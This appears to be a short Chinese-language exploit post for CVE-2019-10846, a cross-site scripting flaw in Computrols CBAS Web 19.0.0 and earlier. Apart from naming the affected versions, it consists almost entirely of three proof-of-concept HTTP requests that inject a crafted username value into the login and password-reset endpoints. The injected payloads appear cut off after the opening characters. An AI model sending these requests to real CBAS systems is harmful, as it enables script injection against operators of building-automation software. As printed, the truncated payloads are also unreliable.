# CVE-2019-10846 Computrols CBAS Web XSS漏洞
==漏洞影響==
Computrols CBAS Web<=19.0.0
==XSS==
POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1 username=”>&submit_button=Send+Me+a+New+Password+Via+Email
POST /cbas/index.php?m=auth&a=login HTTP/1.1 username=">&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62
GET /cbas/index.php?m=auth&a=login&username=">&password=damn_right HTTP/1.1
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
请登录后查看评论内容